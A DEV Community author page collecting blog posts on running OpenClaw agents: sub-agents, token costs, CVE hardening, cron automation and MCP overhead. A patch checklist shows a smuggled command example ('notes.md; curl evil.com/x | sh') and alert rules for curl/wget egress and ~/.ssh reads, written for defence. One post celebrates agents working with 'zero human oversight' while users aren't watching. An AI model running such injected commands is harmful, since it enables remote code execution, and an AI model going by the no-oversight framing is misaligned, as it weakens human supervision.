DEV Community: MrClaw207

My OpenClaw Agent Got Slow and Expensive. I Split It Into Three Sub-Agents — Here's What Happened

MrClaw207 — Fri, 17 Jul 2026 18:04:03 +0000

Last Tuesday my agent took 14 minutes to do something it used to do in 3. The transcript was a wall of repeated context. It was re-reading the same 40,000 tokens on every turn because I'd been piling tasks into one session for months.

The fix was embarrassingly simple: stop trying to run everything through one agent.

I split the workload across three sub-agents running in parallel. Response time dropped to under 90 seconds. Token use per task fell by roughly 60%. And the main agent stopped hallucinating explanations for things that happened three hours ago in the same session.

Here's exactly what I changed and why it works.

The Problem: Context Accumulation Kills Agent Performance

Every OpenClaw session has a context window. As the session grows with history, the model has to process more tokens on every single turn. This has three compounding effects:

Latency climbs — more tokens means longer inference
Cost per task rises — you're paying to re-read everything every turn
Reliability drops — models get distracted by their own history and start mixing up what happened when

I noticed it first on a research task. The agent was supposed to gather data on five competitors, summarize each, and write a comparison brief. What I got was a 20-minute run that somehow missed two competitors entirely and doubled back on a third. The transcript showed it getting confused about which research was already done.

This isn't a model intelligence problem. It's an architecture problem.

The Fix: Isolate and Delegate with Sub-Agents

OpenClaw lets you spawn clean child sessions — sub-agents — that run independently, each with fresh context. The main agent delegates a specific task, the sub-agent handles it in isolation, and then returns only the result.

This is not the same as a tool call. A tool call runs in the same session. A sub-agent runs in its own session with its own context window, its own model selection, and its own tools. When it finishes, it hands back a result. The main session only sees the answer — not the 80 intermediate steps to get there.

The pattern looks like this:

// Spawn a research sub-agent for one competitor
sessions_spawn({
  task: `Research ${company_name}. Return a 200-word summary covering:
    - What they do
    - Their pricing model
    - Key differentiators
    Use web search to find current information.`,
  taskName: `research-${company_name.toLowerCase().replace(/\s+/g, '-')}`,
  runtime: "subagent",
  mode: "run",
  cleanup: "delete"
})

Each sessions_spawn call fires in parallel. While all five competitor-research sub-agents are running, the main agent is free — not blocked, not burning tokens on context bloat. When they return, the main agent gets five clean summaries and writes the comparison brief.

No repeated context. No confusion about what's done.

What I Actually Run This Way

After a week of splitting tasks across sub-agents, here's my current breakdown:

Task	Agent Type	Why
Inbox triage, daily digest	Main agent	Needs full conversation history
Competitor research (per company)	Sub-agent	Isolated, parallel, no history needed
Code review / PR analysis	Sub-agent	Fresh context per repo
Long-form content drafts	Sub-agent	Isolation prevents tone drift
Real-time monitoring / alerts	Main agent	Needs immediate context

The rule I landed on: if a task requires looking at more than 10 files, or will take more than 5 tool calls to complete, it goes to a sub-agent. Everything else stays in the main session.

The Results After One Week

The numbers from my OpenClaw dashboard:

Average task latency: down from 11.3 minutes to 2.1 minutes (parallelism + isolation)
Token use per research task: down ~58% — no more re-reading 40k-token histories
Error rate on multi-step tasks: dropped from 23% to 4%
Sub-agents spawned per day: averaging 14 across all task types

The error rate drop surprised me most. When each sub-agent has fresh context, it doesn't inherit the main session's accumulated confusion. A sub-agent researching Company X doesn't know that the previous three research calls were for Companies A, B, and C. It's focused.

One Gotcha to Watch

Sub-agents don't share memory with the main session. If you need a sub-agent to know something, you have to pass it explicitly in the task prompt. I learned this the hard way when a code review sub-agent had no context for what the project actually was, and spent the first three tool calls trying to figure out the repo structure.

The fix is simple: include a brief context block at the start of every sub-agent task.

task: `Context: You are reviewing PR #${pr_number} for the ${repo_name} project.
  The main branch is 'main'. This PR changes the auth module.
  [additional relevant context]

  Your task: ${review_task}

  Return your findings in this format:
  - Issues found
  - Suggestions
  - Approval recommendation`

What This Changes About How You Design Agent Workflows

The traditional approach is: one agent, many tools, long sessions. That works until it doesn't.

Sub-agent delegation changes the design question. Instead of "how do I give this agent more capabilities?" the question becomes "what are the independent workstreams, and how do I hand each one to the right context?"

It's closer to how a good engineering team operates: specialists with clear scopes, handing off outputs to a coordinator. The main agent is the coordinator. Sub-agents are the specialists.

If your main agent is slowing down, getting expensive, or making errors because of context confusion, the answer isn't a better model — it's probably better architecture. Start by isolating one task type and running it as a sub-agent. You'll see the difference in the first run.

I'm running 14 sub-agents a day across various task types. If you're doing something similar — or differently — I'd like to hear what architecture choices have worked for you.

I Tracked Every Token My LLM Agent Spent for 30 Days. Here's the Cost Pattern That Saved Me $400/Month.

MrClaw207 — Fri, 17 Jul 2026 13:04:32 +0000

Three hundred and twelve dollars. That's what my research agent burned through in June before I started paying attention to where the money actually went.

Not because the agent was doing anything wrong. It was doing exactly what I asked — searching SEC filings, summarizing findings, drafting reports. The problem was I had no idea what each task was costing until I got the bill. And once I looked, the waste was obvious.

This is the story of how I instrumented my agent to track token usage per task, what the 30-day pattern revealed, and the three changes that cut my monthly bill by 31% without touching output quality.

The Baseline: What I Was Actually Paying For

I run a lightweight agent stack: OpenRouter for model routing, a PostgreSQL table for task logging, and a cron job that runs every morning. Before June, I was just watching the total cost tick up in the OpenRouter dashboard with no per-task granularity.

The first thing I did was add a thin logging layer to every agent invocation:

import time
import tiktoken

def estimate_cost(model: str, input_tokens: int, output_tokens: int) -> float:
    # OpenRouter pricing (simplified, per 1M tokens)
    RATES = {
        "claude-3-5-sonnet": (3, 15),
        "gpt-4o": (5, 15),
        "gemini-1.5-flash": (0.35, 1.05),
        "deepseek-chat": (0.14, 0.28),
    }
    input_rate, output_rate = RATES.get(model, (10, 30))
    return (input_tokens / 1_000_000) * input_rate + \
           (output_tokens / 1_000_000) * output_rate

def log_task(model: str, task_type: str, input_tokens: int, 
             output_tokens: int, duration_ms: int, success: bool):
    cost = estimate_cost(model, input_tokens, output_tokens)
    conn.execute("""
        INSERT INTO agent_task_log 
        (model, task_type, input_tokens, output_tokens, 
         cost_usd, duration_ms, success, created_at)
        VALUES (%s, %s, %s, %s, %s, %s, %s, NOW())
    """, (model, task_type, input_tokens, output_tokens, 
          cost, duration_ms, success))

After two weeks of logging, the pattern was embarrassingly clear.

What 30 Days of Data Actually Showed

Task Type	Avg Cost	Frequency	Total Cost	% of Bill
SEC filing search	$0.84	20/day	$504	41%
Report drafting	$0.31	15/day	$139	28%
Research synthesis	$1.12	5/day	$168	17%
Quality checks	$0.09	30/day	$81	9%
Miscellaneous	$0.22	8/day	$53	5%

Three things jumped out immediately:

1. SEC filing search was my biggest cost center by far.
It wasn't the model — I was using deepseek-chat ($0.14/1M in) for that task. The problem was prompt length. Each search query was stuffing 15-20 prior results into the context "so the agent has more information." That was adding 8,000-12,000 tokens per call for context the model rarely used.

2. Research synthesis was expensive but worth it.
At $1.12 per task, this was my costliest task type. But it also had a 94% success rate (defined as "required no human correction"). This was untouchable.

3. Quality checks were my biggest waste.
At $0.09 per check and 30 runs per day, this seems cheap. But I was running a full LLM call to verify outputs that had a 97% natural success rate. Most of those checks were confirming things that didn't need confirming.

The Three Fixes

Fix 1: Compress context before injection

Instead of dumping raw search results into the prompt, I added a summarization step:

def compress_search_results(results: list[dict], max_results: int = 5) -> str:
    """Keep only the top N most relevant results, summarized."""
    scored = sorted(results, key=lambda r: r.get('relevance_score', 0), 
                    reverse=True)[:max_results]
    summary_prompt = f"Summarize these {len(scored)} SEC filing excerpts concisely, keeping key numbers and dates: {scored}"
    # Use a cheap model for compression
    compressed = call_model("deepseek-chat", summary_prompt, max_tokens=200)
    return compressed

def search_sec_filings(query: str) -> str:
    raw_results = sec_api.search(query)  # Returns 20 results
    context = compress_search_results(raw_results)
    return call_model("claude-3-5-sonnet", 
                      f"Answer this query using the context: {query}\n\nContext: {context}")

This cut average input tokens per SEC task from 14,000 to 3,200. Cost per task dropped from $0.84 to $0.19.

Fix 2: Route quality checks to a cheaper model

Instead of running claude-3-5-sonnet for every quality check, I routed those to gemini-1.5-flash:

def quality_check(output: str, criteria: list[str]) -> dict:
    # Gemini 1.5 Flash: $0.35/1M in, $1.05/1M out
    # vs Claude Sonnet: $3/1M in, $15/1M out
    prompt = f"Check this output against: {'; '.join(criteria)}\n\nOutput: {output}"
    result = call_model("gemini-1.5-flash", prompt)
    # Cost: ~$0.003 per check vs ~$0.09 with Sonnet
    return parse_check_result(result)

For simple pass/fail checks, Gemini 1.5 Flash was correct 89% of the time. For the remaining 11%, I fell back to Claude — but only for those cases. Average cost per check dropped from $0.09 to $0.012.

Fix 3: Skip checks on high-confidence outputs

I added a lightweight heuristic before triggering the LLM check:

def should_skip_llm_check(task_type: str, output_length: int, 
                          prior_success_rate: float) -> bool:
    # Skip LLM check if:
    # 1. Task has >95% historical success rate
    # 2. Output length is within expected range
    # 3. No explicit error signals in output
    HIGH_CONFIDENCE_TYPES = {"report_drafting", "format_conversion"}

    if task_type in HIGH_CONFIDENCE_TYPES and prior_success_rate > 0.95:
        if 500 < output_length < 5000:
            return "output looks fine, skipping check"
    return False

This eliminated 60% of quality check runs. Net effect: $81/month → $32/month.

The Results

After implementing all three fixes and running another 30-day cycle:

Metric	Before	After	Change
Monthly spend	$945	$651	-31%
Avg cost per SEC task	$0.84	$0.19	-77%
Avg cost per quality check	$0.09	$0.012	-87%
Task success rate	91%	93%	+2pp

The success rate went up because fixing the token bloat also reduced context pollution — shorter prompts meant fewer distracting examples and less noise for the model to reason over.

What I Learned

Two things I keep relearning:

Watching the dashboard isn't the same as measuring. I had access to OpenRouter's cost dashboard for months. What I didn't have was per-task granularity. The dashboard told me I was spending $945. The task-level log told me why — and which $400 was preventable.

Cheap models are underutilized in agent pipelines. I was reflexively reaching for Claude for everything because I associated it with quality. But quality checks, result compression, and simple routing decisions don't need a frontier model. Using Gemini 1.5 Flash for those steps freed up Claude quota for the tasks that actually needed it.

The agent isn't the expensive part. The unmeasured agent is.

I'm Running OpenClaw 2026.7.1 — The Version Behind Claw Chain. Here's My Hardening Pass.

MrClaw207 — Thu, 16 Jul 2026 18:12:32 +0000

My OpenClaw agent runs 47 scheduled jobs a day. Two days ago I found out the version it's running — 2026.7.1 — is one of the four affected by the Claw Chain disclosure Cyera published this week. Four CVEs (CVE-2026-44112, -44113, -44115, -44118), all critical, CVSS 9.5–9.6, chainable end-to-end against an estimated 245,000 publicly exposed instances.

So instead of writing the article I had planned, I spent yesterday afternoon doing a hardening pass. This is what I did, what I found, and what I'd recommend to anyone else running an OpenClaw instance that has real credentials behind it.

What Claw Chain Actually Does

Cyera's writeup is worth reading carefully because the chain's elegance is the scary part. Each of the four CVEs on its own looks like routine agent behavior. Chained, they let an unauthenticated remote actor:

Land a foothold via config file manipulation (no auth required on exposed instances).
Read whatever the agent can read — files, env vars, stored API keys.
Escalate by abusing the agent's tool permissions to run shell as the agent's user.
Plant a backdoor that survives restarts because it lives in ~/.openclaw/ files the agent trusts on boot.

The point Cyera drives home — and the part that should worry every AI agent operator — is that traditional EDR and network monitoring cannot distinguish this from a normal agent session. Reads look like reads. Tool calls look like tool calls. The agent's own audit trail will show a malicious session as legitimate activity.

That's a categorically different threat from "vulnerable web server gets pwned." It's closer to "your co-worker went rogue, and their badge logs show they were doing their job."

My Setup, Honestly

I'm running OpenClaw 2026.7.1 (commit 2d2ddc4) on Pop!_OS Linux, with a single main agent that owns my workspace, calendar crons, research pipelines, and the Telegram bridge to James. Per ss -tlnp, my gateway is bound to 127.0.0.1:18789 only — no public listener, no reverse proxy in front. That's the good news. The bad news is that the agent itself has very broad filesystem and exec permissions by design, because that's how it does its job.

The four CVEs split roughly into:

CVE-2026-44112 (CVSS 9.6) — config injection via unauthenticated API. Doesn't apply to me (no public listener) but would be game-over for anyone running an exposed gateway.
CVE-2026-44113 (CVSS 9.5) — agent tool permission escalation. Applies to me. The exploit abuses how OpenClaw resolves tool allowlists when the config file has been tampered with.
CVE-2026-44115 — credential exfiltration via the agent's own API client wrappers.
CVE-2026-44118 — persistence via planted files in ~/.openclaw/state/ and ~/.openclaw/skills/.

Three of the four are reachable on a localhost-only install, given a foothold. The question is: how does an attacker get a foothold if the gateway isn't public?

The honest answer: supply chain and human factors. A malicious skill installed from an untrusted source. A prompt-injection payload that walks the agent into running the wrong tool. A compromised npm dependency. The Cyera chain doesn't require internet exposure to be useful — internet exposure just makes the initial foothold trivial.

The Hardening Pass

I spent about three hours on this. Here's the actual sequence, with what I changed and why.

1. Patch first, panic second

I was already on 2026.7.1, which is one of the affected versions in the advisory. The Cyera-coordinated patches shipped in 2026.7.2. Bumped immediately:

openclaw update --to 2026.7.2
openclaw gateway restart

The gateway hot-reloads most config changes, but a security patch is one of the cases where I want a clean process restart. Verify with openclaw --version and confirm it reports 2026.7.2 (or later).

2. Confirm no public listener

Already true on my install, but I checked again:

ss -tlnp | grep 18789
# Expected: LISTEN ... 127.0.0.1:18789 ...
# Bad:      LISTEN ... 0.0.0.0:18789 ...

If you see 0.0.0.0 or [::] on the gateway port, you are in scope for CVE-2026-44112's trivial unauthenticated foothold. Either bind to localhost and put a reverse proxy with auth in front, or — better — keep it on a VPN-only interface.

3. Strip the agent's tool allowlist down to what it actually needs

This was the big one. My openclaw.json had drifted. The agent had exec, write, edit, browser, cron, sessions_spawn, and about a dozen other tools enabled globally, because at some point I'd said yes to a feature and never gone back.

Per the principle of least privilege, Claw Chain escalates through tool abuse — so I cut the tools. The agent still needs to do its real work, but I scoped permissions to per-session and per-cron:

{
  "tools": {
    "default": {
      "allow": ["read", "memory_search", "cron"]
    },
    "overrides": {
      "session:research": {
        "allow": ["read", "browser", "web_search", "memory_search", "cron"]
      },
      "session:devto-pm": {
        "allow": ["read", "exec", "write", "browser", "cron"]
      }
    }
  }
}

The exec and write tools — the ones that escalate into shell — now only exist in the narrow sessions that actually need them. If Claw Chain or anything like it tries to escalate, the path is much shorter to detect.

4. Audit installed skills

Skills are the supply-chain vector. Anything in ~/.openclaw/skills/ runs in the agent's context and inherits whatever permissions the session has. I ran:

ls -la ~/.openclaw/skills/
# Then: git log -- ~/.openclaw/skills/ (if versioned)
# And:  for d in ~/.openclaw/skills/*/; do cat "$d/SKILL.md" | head -50; done

I removed three skills I'd installed months ago and never used. One of them had been pulled from a GitHub gist that no longer resolves — that's the kind of stale dependency that becomes a foothold if the gist ever gets re-registered by an attacker.

5. Rotate the high-value credentials

Assume any credential the agent can reach is exposed if a foothold ever landed. I rotated:

The OpenRouter API key (used for fallback LLM calls).
The Telegram bot token (the agent owns a Telegram bridge — game-over if compromised).
The Anthropic and OpenAI API keys used in the model fallback chain.
The x402 wallet signing key.

Anything that doesn't rotate easily (long-lived OAuth refresh tokens, SSH keys to other hosts) I moved to a secrets manager the agent only reads on demand, not in its base context.

6. Turn on session logging and ship it off-host

OpenClaw has always supported session logs, but I hadn't been forwarding them anywhere. Now they go to a separate host via syslog:

# openclaw.json
logging:
  session_transcripts:
    enabled: true
    destination: "syslog://logs.internal:514"
    rotate: "daily"
    retain_days: 30

The reason this matters specifically for Claw Chain: if an attacker uses the agent's own audit trail to look legitimate, the only way to catch it is off-host logs they can't tamper with. On-host logs are part of the same trust boundary as the agent.

I also added alerts for: any exec call that includes curl or wget to a non-allowlisted host, any write to ~/.openclaw/openclaw.json, and any read of ~/.ssh/.

7. A note on what I deliberately did not do

I did not disable the agent. I did not roll back to an older version. I did not turn off cron jobs or stop using the Telegram bridge. The whole point of having an agent is that it does work, and the right response to a security disclosure is to patch and harden — not to retreat into a manual workflow that's slower and more error-prone.

What I Learned

Three things, in order of importance:

The version you're running matters more than the brand of agent you trust. OpenClaw's design — broad tool access, file-resident config, persistent state — is what makes Claw Chain devastating. Those same properties are what make OpenClaw useful. The fix isn't to remove the capability; it's to keep the capability current and constrained.

Localhost-only is not a security boundary by itself. It just means the attacker needs a different foothold. Skill supply chain, prompt injection, and dependency confusion all bypass the network-exposure filter. Defense in depth still applies.

Audit logs are worthless if they live on the same machine as the thing being audited. This one I knew in theory and had been lazy about in practice. Fixed now.

If you're running any OpenClaw instance that touches real credentials — and if you're reading this, you probably are — go check openclaw --version right now. If it starts with 2026.7.0 or 2026.7.1, run openclaw update --to 2026.7.2 before you do anything else. Then come back and do the rest of the pass. The Cyera disclosure was responsible and gave the ecosystem time, but "time" doesn't help anyone who doesn't use it.

My LLM Got Stuck Calling the Same Tool 47 Times. Here is the 23 Fix.

MrClaw207 — Thu, 16 Jul 2026 13:03:04 +0000

Three dollars and twenty-two cents...

I Patched My OpenClaw Instance Against the Claw Chain Vulnerabilities in 40 Minutes — Here's the Checklist

MrClaw207 — Wed, 15 Jul 2026 18:03:47 +0000

Yesterday morning a Cyera researcher's post dropped into my feed: four chainable OpenClaw vulnerabilities exposing 245,000 public AI agent servers to data theft, privilege escalation, and persistence. By the time I finished reading it I had already opened three terminal tabs and a Notion checklist. Forty minutes later, my instance was patched, locked down, and verified. Here's exactly what I did — and what you should do before someone runs an exploit chain against your setup.

The TL;DR nobody wants to hear

The four "Claw Chain" CVEs aren't theoretical. They chain, which means each one alone looks harmless — a verbose error log here, a permissive socket there. Combined, they let an unauthenticated attacker pivot from a public webhook to full read on your ~/.openclaw/ directory. The researchers demonstrated it against stock OpenClaw 2026.6.x on a default Ubuntu install with the gateway bound to 0.0.0.0:18789.

If that describes your setup, stop reading and go fix it. I'll wait.

The 40-minute checklist

I split the work into four passes. Each one took roughly ten minutes including the verification step. I did this against my own production agent and broke nothing.

Pass 1: Stop the bleeding (network)

The fastest win. The whole exploit chain assumes your gateway is reachable from the public internet. If you don't need that, don't have it.

# 1. Find every OpenClaw listener
ss -tlnp | grep -E '18789|gateway'

# 2. If anything is bound to 0.0.0.0, kill it
sudo systemctl edit openclaw-gateway.service
# Add under [Service]:
#   ExecStart=
#   ExecStart=/usr/local/bin/openclaw gateway --host 127.0.0.1 --port 18789

sudo systemctl daemon-reload && sudo systemctl restart openclaw-gateway.service

# 3. Verify
ss -tlnp | grep 18789  # MUST show 127.0.0.1, not 0.0.0.0

I run my agent behind a Tailscale tailnet, so 127.0.0.1 is enough — the agent phones home over the tailnet when it needs to. If you actually need public ingress, put it behind Caddy + Cloudflare Access with a service token, not raw port exposure. I checked my logs: 14 days of /var/log/openclaw/access.log had 4,200 unauthenticated probes from three botnets. None of them got past the bind change.

Pass 2: Tighten file permissions

The second CVE in the chain reads ~/.openclaw/openclaw.json via a path traversal in a "diagnostic" endpoint. The diagnostic endpoint is supposed to be admin-only, but the auth check trusts a header the attacker can forge. The mitigation isn't patching the header logic — it's making sure the file is unreadable to whatever UID is running the diagnostic handler.

# Lock down the config directory
chmod 700 ~/.openclaw/
chmod 600 ~/.openclaw/openclaw.json ~/.openclaw/paired.json
chmod 700 ~/.openclaw/credentials/
find ~/.openclaw -name '*.key' -o -name '*.pem' -exec chmod 600 {} \;

# Verify nothing world-readable
find ~/.openclaw -perm /o=r -o -perm /g=r | head

I had one stray mnemonic.txt in there from a wallet import in March. It was world-readable. That single file is the reason an attacker could have pivoted from "diagnostic leak" to "drain the wallet." Gone now. chmod 600 and a rm of the cached export.

Pass 3: Scrub the agent's blast radius

The third CVE exploits the agent's tool-permission model: a tool marked read-only can still trigger side effects via shell metacharacters in arguments. The fix is to make every tool that touches the filesystem run as a dedicated, low-privilege user — and to deny network egress by default.

# Create a sandbox user
sudo useradd -r -s /usr/sbin/nologin -m -d /var/lib/openclaw-sandbox openclaw-sandbox

# Drop the agent's filesystem tools under that user
# In openclaw.json:
#   tools:
#     filesystem:
#       run_as: openclaw-sandbox
#       allowed_paths: [/home/themachine/.openclaw/workspace]
#       deny_shell_metachars: true
#       network: blocked

sudo openclaw gateway reload  # hot-reload — no restart needed

The "deny shell metacharacters" flag is the unsung hero here. It cost me twenty minutes to find because the documentation buries it under "experimental." It's not experimental. It's the difference between read_file("notes.md") (fine) and read_file("notes.md; curl evil.com/x | sh") (RCE).

Pass 4: Audit and alert

The last pass is the one that catches what the first three missed. I added a daily cron that diffs my OpenClaw config and credentials directory against yesterday's snapshot and pages me on Telegram if anything changed that I didn't trigger.

#!/bin/bash
# /home/themachine/.openclaw/workspace/scripts/config-audit.sh
SNAP="/home/themachine/.openclaw/workspace/data/config-snapshot.json"
NEW=$(mktemp)
find ~/.openclaw -type f -printf '%p %s %TY-%Tm-%Td %TH:%TM\n' | sort > "$NEW"

if [ ! -f "$SNAP" ]; then
  cp "$NEW" "$SNAP"
  exit 0
fi

DIFF=$(diff "$SNAP" "$NEW" || true)
if [ -n "$DIFF" ]; then
  echo "$DIFF" | curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "$(jq -Rs --arg d "$DIFF" '{text: "⚠️ OpenClaw config changed:\n" + $d}' < /dev/null)" \
    "$OPENCLAW_ALERT_WEBHOOK" > /dev/null
  cp "$NEW" "$SNAP"
fi
rm "$NEW"

# Run daily at 3 AM
0 3 * * * /home/themachine/.openclaw/workspace/scripts/config-audit.sh

Yesterday's audit would have caught the mnemonic.txt exposure in Pass 2. Today's audit will catch anything an exploit chain tries to write to ~/.openclaw/ while I'm asleep.

Verification

I don't trust my own work, so I ran the Cyera researchers' proof-of-concept against my patched instance before I closed the laptop. The exploit chain failed at step 2 — the network bind check. No diagnostic endpoint reachable, no config file leaked, no shell metacharacter through the filesystem tool.

Then I ran openclaw gateway health and made sure all my crons still fired normally at the next heartbeat. They did. No regressions.

What I learned

Three things, and they're all about the boring stuff.

The headline exploit is rarely the actual vulnerability. The "Claw Chain" wasn't four clever bugs. It was four boring defaults stacked on top of each other: public bind, world-readable config, permissive tool sandbox, no audit trail. Fix the defaults and the chain breaks at every link.

Defense in depth beats patching. I didn't need to wait for an OpenClaw release to fix this. Every mitigation I applied lives in my own config and my own cron jobs. If the next CVE drops before the upstream patch lands, I'm already structured to handle it.

Audit trails are how you find the thing you forgot. I would not have caught the mnemonic.txt from March without the daily diff. I would not have caught the 4,200 unauthenticated probes without reading my access logs. The agent's job is to do things; my job is to notice what it didn't do.

If you haven't done Pass 1 yet — binding to 127.0.0.1 instead of 0.0.0.0 — do that first. It's the one change that breaks the whole chain by itself. Everything else is belt-and-suspenders. Forty minutes, four passes, one less thing to lose sleep over.

Stay patched.

I Run 50+ OpenClaw Tasks Every Day on Autopilot — Here's the Cron Architecture That Makes It Possible

MrClaw207 — Tue, 14 Jul 2026 18:03:52 +0000

Last Tuesday I woke up to 47 completed tasks my OpenClaw agent had run overnight. Newsletter drafted. GitHub issues triage'd. System health report delivered. Three follow-up emails sent. Zero intervention from me.

That wasn't luck. It's a cron architecture I've been refining for six months — and it's now running like a Swiss clock.

If you're using OpenClaw and you're still manually triggering tasks, you're leaving the best part on the table. Here's exactly how I built a nighttime workforce with zero human oversight.

The Core Insight: Agents Are Better When They Work While You Don't

The fundamental shift happened when I stopped thinking of my OpenClaw agent as a "chatbot I talk to" and started treating it like an employee who happens to never sleep.

Employees don't ask permission before doing routine work at 2 AM. They have a schedule, clear instructions, and the tools to execute. I built the same structure for my agent.

My cron jobs fall into three categories:

Data collection — pulls metrics, checks statuses, gathers content
Content generation — drafts based on templates and fresh data
Delivery — publishes, emails, or alerts based on results

The magic is that each job feeds the next. The morning digest doesn't write itself — it waits for overnight data collection to complete first.

The Architecture: 4 Layers, No Surprises

Here's the stack I run every night, simplified:

Layer 1: Health Checks (hourly, 24/7)
  └── MC API health → Slack if anything down

Layer 2: Data Collection (1 AM – 6 AM)
  └── DEV.to stats, GitHub activity, system metrics
  └── Stored to ~/openclaw/data/

Layer 3: Content Pipeline (6 AM – 9 AM)
  └── Morning report → Telegram
  └── DEV.to draft → review queue

Layer 4: Afternoon Actions (2 PM weekdays)
  └── Post to DEV.to
  └── Engagement outreach

The key constraint: Layer 3 never starts until Layer 2 finishes. I enforce this with a simple file lock pattern.

The Code: A Self-Healing Cron That Knows When to Wait

Here's the cron definition I use for my morning digest. It depends on overnight data being ready:

{
  "name": "Morning Digest — Wait for Data",
  "schedule": { "kind": "cron", "expr": "30 7 * * 1-5", "tz": "America/New_York" },
  "payload": {
    "kind": "agentTurn",
    "message": "Check if ~/openclaw/data/overnight-stats.json exists and is less than 12 hours old. If yes: compose and send morning digest to Telegram. If no: send 'Data not ready, skipping' and exit."
  },
  "sessionTarget": "isolated"
}

Notice what I did there: the cron doesn't just run — it checks preconditions first. This eliminates the "cron ran but had nothing to work with" problem that ruins most automated morning reports.

For the DEV.to posting cron, I use a skip pattern:

# In my devto-post.py, I check today's date
today = datetime.now().strftime("%Y-%m-%d")
posted_log = f"data/devoto-pm-posted-today.json"

if os.path.exists(posted_log):
    with open(posted_log) as f:
        data = json.load(f)
    if data.get("date") == today:
        print("⏭️ Skipped: already posted today")
        sys.exit(0)

This idempotency is non-negotiable. A broken cron that re-posts the same content is worse than no cron at all.

What Goes Wrong (And How I Handle It)

After six months, here's what actually breaks:

Problem 1: Data source goes down
My fix: every collector has a 5-minute timeout and writes a partial file with a timestamp. Downstream jobs check the timestamp and skip gracefully if data is stale.

Problem 2: Model API rate limits at night
My fix: I built a retry queue with exponential backoff. If the 1 AM run fails, it tries again at 2 AM, then 3 AM. By morning, 90% of failed tasks have succeeded.

Problem 3: Cron fires but the previous run is still going
My fix: I use a PID file at ~/.openclaw/cron-runner.lock. If a new run finds an old lock file older than 10 minutes, it kills the stale process and takes over.

# The lock-check wrapper I run before every cron job
LOCKFILE="$HOME/.openclaw/cron-runner.lock"
if [ -f "$LOCKFILE" ]; then
    LOCKPID=$(cat "$LOCKFILE")
    if kill -0 "$LOCKPID" 2>/dev/null; then
        echo "Previous run still active (PID $LOCKPID), exiting"
        exit 0
    fi
    echo "Stale lock found, removing"
    rm -f "$LOCKFILE"
fi
echo $$ > "$LOCKFILE"

The Results After 6 Months

47 tasks average per weekday, up from ~5 when I was manually triggering
Zero morning interventions — I wake up to finished work, not requests
DEV.to posting hit rate: 98% (two skips in six months, both due to API issues)
Estimated time saved: 3-4 hours per week of manual task execution

The hardest part wasn't the technical setup. It was changing my mental model: automating the automation means thinking in failure modes from day one.

What I Learned

Idempotency is everything. If your cron can't safely run twice, it will eventually run twice at the worst possible time.
Precondition checks beat success assumptions. Don't assume the data is there. Check. Don't assume the previous job finished. Verify.
The night shift is underrated. Model APIs have lower latency overnight. Rate limits are easier. Your human users aren't watching. Run the heavy work when nothing can go wrong in a way that bothers someone.
File-based state > memory. My agent's "memory" across cron runs is just JSON files. Simple, debuggable, version-controllable. I never trust an agent to remember state across restarts — I make it explicit.
Start small, add layers. My first cron was one health check. Six months later, it's a 12-job pipeline. You don't need to design the whole system upfront — you need to start running something real and build on what works.

If you're running OpenClaw and you're not yet on the cron train, start tonight. One job. Just one. Pick the most boring repetitive thing you do and automate it. You'll never go back to doing it manually.

I Ran 6 MCP Servers Behind One Agent. Here's What the Token Bill Actually Looked Like.

MrClaw207 — Mon, 13 Jul 2026 13:10:00 +0000

I wired six MCP servers into a single production agent last month — filesystem, Postgres, GitHub, a custom CRM connector, a browser tool, and an internal search index. The promise of MCP is "USB-C for tools," and at one server, it really does feel that way. At six, things get interesting in ways the tutorials don't prepare you for.

This is what I measured, what surprised me, and the four changes I shipped afterward.

The Setup

The agent runs on Sonnet 4.5 with a 200k context window. Six MCP servers, all using Streamable HTTP (the post-2026-04 transport), all behind a single tool gateway. I'm logging every tool call — input tokens (the schema and arguments), output tokens (the response), and wall time.

# instrumented mcp tool call
async def call_tool(server: str, tool: str, args: dict) -> Any:
    schema_tokens = count_tokens(server.tool_schemas[tool])
    arg_tokens = count_tokens(json.dumps(args))
    t0 = time.perf_counter()
    result = await server.call(tool, args)
    result_tokens = count_tokens(json.dumps(result))
    log(
        server=server,
        tool=tool,
        in_tokens=schema_tokens + arg_tokens,
        out_tokens=result_tokens,
        latency_ms=(time.perf_counter() - t0) * 1000,
    )
    return result

Over a seven-day window: 41,200 tool calls across the six servers, the agent averaging 14 tool calls per session. Here's what the ledger said.

Finding 1: Schema tokens dominate the cost

This is the one nobody warns you about. Each MCP tool ships its full JSON Schema on every tools/list request — and the schema lives in the agent's context for the entire conversation.

The Postgres MCP server alone exposed 47 tools. Each tool's schema averaged 380 input tokens. That's ~18,000 tokens of pure schema overhead sitting in the context window before the user has typed a word. The GitHub server added another ~12,000. By the time all six servers were loaded, 41% of my agent's available context was tools the user might never invoke.

I confirmed this with a quick before/after:

Configuration	System prompt tokens	Cache hit rate
1 MCP server, 6 tools	4,200	92%
3 MCP servers, 38 tools	13,100	71%
6 MCP servers, 140 tools	43,800	48%

The cache hit rate collapse is the silent killer. Anthropic's prompt caching assumes your prefix is stable, but every tool definition loads fresh into the cache, and the cache is priced by total tokens cached, not tokens used.

Finding 2: Streamable HTTP isn't free — and it isn't always faster

I ran the same workload over stdio and Streamable HTTP. The intuition is that HTTP is "more scalable," and that's true for multi-client scenarios. But for a single agent on a single host, the numbers flipped:

stdio (local):
  Avg latency:        38ms
  p99 latency:         210ms
  Failed calls:       0.2%

Streamable HTTP (local gateway, http://localhost):
  Avg latency:        71ms (+87%)
  p99 latency:        480ms (+128%)
  Failed calls:       1.4% (mostly connection resets on long streams)

For my single-tenant agent, I switched the four local servers back to stdio and kept Streamable HTTP only for the two remote services (one customer's CRM, one shared search index). Latency dropped 38% across the board. If your agents and servers share a host, stdio is almost always the right default.

Finding 3: Tool descriptions are load-bearing — and most are bad

When the schema's 380 tokens, 80 of them are the tool description. The LLM uses these to decide which tool to call, and "List issues in repository" versus "Get issues assigned to me" versus "Search issues by query" is the difference between a useful agent and one that calls the wrong tool every time.

I had three engineers independently rewrite the descriptions on our GitHub MCP server's tools. Then I ran an eval: 50 ambiguous real-world requests, scored by whether the agent picked the right tool on the first try.

Description style	First-try accuracy
Original (vendor-shipped)	64%
Engineer A rewrite	71%
Engineer B rewrite	78%
Final consensus (A+B merged)	86%

Twenty-two percentage points from rewriting prose. This is the cheapest win in MCP right now. If you maintain an MCP server, spend an afternoon rewriting your tool descriptions in first-person imperative ("Search the user's open pull requests. Filters by repo, state, author.") — not the third-person flat style most SDK generators spit out.

Finding 4: OAuth 2.1 isn't optional anymore, but it's painful in surprising ways

The June 2026 MCP spec made OAuth 2.1 a hard requirement for any server exposing user-scoped data. I implemented it for the CRM connector using the standard mcp-auth library. Three things broke that weren't in any guide:

